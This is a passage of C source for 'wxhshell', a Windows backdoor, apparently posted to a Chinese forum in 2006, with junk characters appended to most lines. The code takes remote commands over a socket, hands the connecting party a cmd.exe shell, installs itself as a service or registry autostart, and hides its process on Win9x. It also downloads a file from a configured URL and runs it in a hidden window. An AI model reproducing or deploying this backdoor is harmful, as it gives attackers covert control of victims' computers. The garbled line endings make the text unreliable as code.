  else :JfT&YYi"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nk@ag)  
  } x5"F`T>Y  
  else { pPnJf{  
1^^9'/  
    switch(cmd[0]) { #S*cFnd  
  KdU&q+C^  
  // 帮助 @zAav>  
  case '?': { K %Qj<{)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nd;,Wz]  
    break; ,e!9WKJ B  
  } 3W.5 [;}  
  // 安装 JF-ew"o<E  
  case 'i': { /d prs(*K  
    if(Install()) v5g]_v*F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #SIIhpjA(  
    else i5G"@4(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lMRy6fzI  
    break; x&YcF78  
    } xa$p,_W:'  
  // 卸载 Mxk0XFA  
  case 'r': { + -OnO7f  
    if(Uninstall()) Nx^r&pr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E;)7#3gY1  
    else wh)Ujgd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2Kvp"-}  
    break; 0VwmV_6'<W  
    } ;1Zz-@  
  // 显示 wxhshell 所在路径 n|Smy\0  
  case 'p': { g*[DyIm  
    char svExeFile[MAX_PATH]; 0w<G)p~%n  
    strcpy(svExeFile,"\n\r"); 9#D?wR#J=  
      strcat(svExeFile,ExeFile); oH]"F  
        send(wsh,svExeFile,strlen(svExeFile),0); 3*;S%1C^  
    break; |8s45g>  
    } \o=YsJ8U  
  // 重启 +y\mlfJ.-b  
  case 'b': { Y.}8lh eH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q:X&)f  
    if(Boot(REBOOT)) 3tAX4DnYrq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -naoM  
    else { /FW{>N1   
    closesocket(wsh); U5pg<xI  
    ExitThread(0); {Bm7'%i  
    } &&er7_Q  
    break; j%@wQVxq  
    } tG}cmK~%  
  // 关机 aH+n]J] =)  
  case 'd': { 0Er;l|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H6/C7  
    if(Boot(SHUTDOWN)) AW< z7B D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%9CR'%*c  
    else { sV5S>*A[  
    closesocket(wsh); `(6g87h  
    ExitThread(0); HDV$y=oHh  
    } 0 $_0T  
    break; W^Z#_{  
    } @A;Ouu(  
  // 获取shell Bgy?k K2[  
  case 's': { t,>j{SK~  
    CmdShell(wsh); 'awZ-$#  
    closesocket(wsh); |JRaskd  
    ExitThread(0); <$ oI  
    break; ( V^C7ix:  
  } R7j'XU  
  // 退出 }!n90 9 L  
  case 'x': { /\C5`>x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4!^flKZQ  
    CloseIt(wsh); oNK-^N?-T  
    break; B`1"4[{  
    } `-QY<STTP9  
  // 离开 y4Fuh nb>  
  case 'q': { pR*)\@ma  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "? t@Y  
    closesocket(wsh); <oP"kh<D4  
    WSACleanup(); "2a&G3}t"  
    exit(1); AKkr )VgY  
    break; e~iPN.'1  
        } PShluhY  
  } _8eN^oc%  
  } s!Y`1h{  
)/_T`cN  
  // 提示信息 XEvDtDR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0CFON2I  
} 4kqgZtg.  
  } Q@HW`@i  
%tC3@S  
  return; ;;; {<GEQ  
} -D-]tL6w  
hfQx$cv6  
// shell模块句柄 \yNe5  
int CmdShell(SOCKET sock) 4(O;lVT}  
{ s_`=ugue  
STARTUPINFO si; bL9EX$P  
ZeroMemory(&si,sizeof(si)); ?!d\c(5Gt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0z1UF{{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )|SmB YV  
PROCESS_INFORMATION ProcessInfo; :*0l*j  
char cmdline[]="cmd"; =SqI# v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HJ+I;OJ  
  return 0; vE=)qn=a  
} {YzRf S  
y %4G[Dz  
// 自身启动模式 1p|}=R  
int StartFromService(void) vbT,! cEm  
{ s1| +LT ,D  
typedef struct r"uOf;m  
{ X5`#da  
  DWORD ExitStatus; 9u&q{I  
  DWORD PebBaseAddress; d|?'yX  
  DWORD AffinityMask; k ICZc{} `  
  DWORD BasePriority; dD{{G :V  
  ULONG UniqueProcessId; 5l ioL)  
  ULONG InheritedFromUniqueProcessId; P.Uz[_&l6  
}   PROCESS_BASIC_INFORMATION; g k.c"$2  
Rz_fNlA  
PROCNTQSIP NtQueryInformationProcess; JDA:)[;  
p[Yja y+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WP b4L9<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K9 tuiD+j  
\vR&-+8dk  
  HANDLE             hProcess; /18VQ  
  PROCESS_BASIC_INFORMATION pbi; ` e~nn  
4gRt^T-?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ d!F|BH4  
  if(NULL == hInst ) return 0; UNB'Xjp}@  
&!E+l<.RF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^A"TY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sMhUVc4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b9(_bsc  
DL:wiQ  
  if (!NtQueryInformationProcess) return 0; B-`,h pp  
q\fZ Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vs0T*4C=n  
  if(!hProcess) return 0; P$=BmBq18`  
?%Pd:~4D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lNw8eT~2  
-(Y(K!n  
  CloseHandle(hProcess); %Gk?f=e  
7Y>17=|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GV aIZh<  
if(hProcess==NULL) return 0; S3oSc<&2  
(4WAoye|  
HMODULE hMod; 3TDjWW;#~  
char procName[255]; @TTB$  
unsigned long cbNeeded; }%;o#!<N(@  
V&75n.L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (6*CORE   
.*bu:FuDE  
  CloseHandle(hProcess); MI,b`pQ  
8LMO2Wyq  
if(strstr(procName,"services")) return 1; // 以服务启动 bZB7t`C5  
!&k}YF  
  return 0; // 注册表启动 GQP2-cSZ  
} :s}6a23  
v9t26>{~  
// 主模块 [1\k'5rp  
int StartWxhshell(LPSTR lpCmdLine) !M&Qca2  
{ .P|_C.3- l  
  SOCKET wsl; 5/ee&sJR  
BOOL val=TRUE; yX'f"*  
  int port=0; uV@#;c4  
  struct sockaddr_in door; R zOs,  
S-$N!G~!  
  if(wscfg.ws_autoins) Install(); :E>" z6H  
HL^+:`,  
port=atoi(lpCmdLine); tlnU2TT_f  
"GTlJqhk  
if(port<=0) port=wscfg.ws_port;  )Uk!;b  
H:d@@/  
  WSADATA data; gC+PpY#2h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Bdhn{_  
!FqJP OGm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /g_cz&luR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M'n2j  
  door.sin_family = AF_INET; 122%KS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8-2e4^ g(  
  door.sin_port = htons(port); yyj?hR@rZ  
w4m)lQM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <h*r  
closesocket(wsl); R.FC3<TTv  
return 1; }KBz8M5  
} `}Of'i   
QQnpy.`:/  
  if(listen(wsl,2) == INVALID_SOCKET) { <;R}dlBASW  
closesocket(wsl); L>&o_bzp  
return 1; !m* YPY31  
} =Z3{6y}3p  
  Wxhshell(wsl);  *XlbD  
  WSACleanup(); gtV^6(Y  
?51Y&gOEZ  
return 0; !6R;fD#^s  
"zn<\z$l  
} gB;5&;T:  
#%;QcDXRe  
// 以NT服务方式启动 5 +Ei! E89  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) us ,!U  
{ *u i!|;  
DWORD   status = 0; v*.[O/,EBR  
  DWORD   specificError = 0xfffffff; JjXuy7XQ  
3u)NkS=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rY~!hZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,#u"$Hz8p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j>{Dbl:#2  
  serviceStatus.dwWin32ExitCode     = 0; R7q\^Yzo  
  serviceStatus.dwServiceSpecificExitCode = 0; vG{+}o#  
  serviceStatus.dwCheckPoint       = 0; ,u:J"epM  
  serviceStatus.dwWaitHint       = 0; e6 R<V]g  
!>,\KxnM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /f5*KRM  
  if (hServiceStatusHandle==0) return; [dQL6k";b  
kgq"b)  
status = GetLastError(); y .O%  
  if (status!=NO_ERROR) m>H+noc^  
{  ?)_?YLi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *[P"2b#  
    serviceStatus.dwCheckPoint       = 0; g[NmVY-o  
    serviceStatus.dwWaitHint       = 0; 8zMt&5jD  
    serviceStatus.dwWin32ExitCode     = status; ]f3[I3;K  
    serviceStatus.dwServiceSpecificExitCode = specificError; W7F1o[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $j+RUelFY  
    return; 9?jD90@ }  
  } B=>VP-:  
O3YD jas  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VP7g::Ab  
  serviceStatus.dwCheckPoint       = 0; EDl*UG83G  
  serviceStatus.dwWaitHint       = 0; u["3| `C5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bvxol\7;  
} @d+NeS  
,EE,W0/zzM  
// 处理NT服务事件,比如:启动、停止 YR 5C`o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P1r)n{;  
{ vky@L!&,  
switch(fdwControl) D <16m<b  
{ %OIJ.  
case SERVICE_CONTROL_STOP: 7CK3t/3D  
  serviceStatus.dwWin32ExitCode = 0; B$ Z%_j&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z154lY}K  
  serviceStatus.dwCheckPoint   = 0; u{6b>c|,X  
  serviceStatus.dwWaitHint     = 0; t-;zgW5mwF  
  { iFJ1}0<(x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ou{}\^DgQ  
  } \6{w#HsP8  
  return; :aIS>6  
case SERVICE_CONTROL_PAUSE: >l0y ss)I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;ewqGDe'3  
  break; I)JqaM  
case SERVICE_CONTROL_CONTINUE: dHzQAqb8J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pZ@)9c  
  break; |g$n-t  
case SERVICE_CONTROL_INTERROGATE: yDE0qUO  
  break; |#>:@{X<  
}; Xxz_h*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >!U oS  
} `GBa3  
@X|Mguq5  
// 标准应用程序主函数 u!B6';XY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V,*<E&+  
{ RZ6[+Ygn  
b-`=^ny)K  
// 获取操作系统版本 sa7F-XM  
OsIsNt=GetOsVer(); 2`[iTBZ=^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1iiQW  
\[>Ob  
  // 从命令行安装 Un~8N  
  if(strpbrk(lpCmdLine,"iI")) Install(); $ #*";b)QY  
C8xxR~mq  
  // 下载执行文件 MR?5p8S#g  
if(wscfg.ws_downexe) { 5Al1u|;HB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N4xC Zb  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1@i|[dq  
} `<"@&N^d  
YUGEGXw  
if(!OsIsNt) { H,{WrWA  
// 如果时win9x,隐藏进程并且设置为注册表启动 B%.vEk)*  
HideProc(); a7? )x])e  
StartWxhshell(lpCmdLine); x @a3STKT  
} ]SO-NR  
else MyJ\/`8  
  if(StartFromService()) +D@+j  
  // 以服务方式启动 S.I3m-  
  StartServiceCtrlDispatcher(DispatchTable); n&n WY+GEo  
else j6JK4{  
  // 普通方式启动 '#oNOU  
  StartWxhshell(lpCmdLine); Rs +),  
F%]Z yO9  
return 0; <TDp8t9bU  
}
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只看该作者 1 发表于: 2006-10-10
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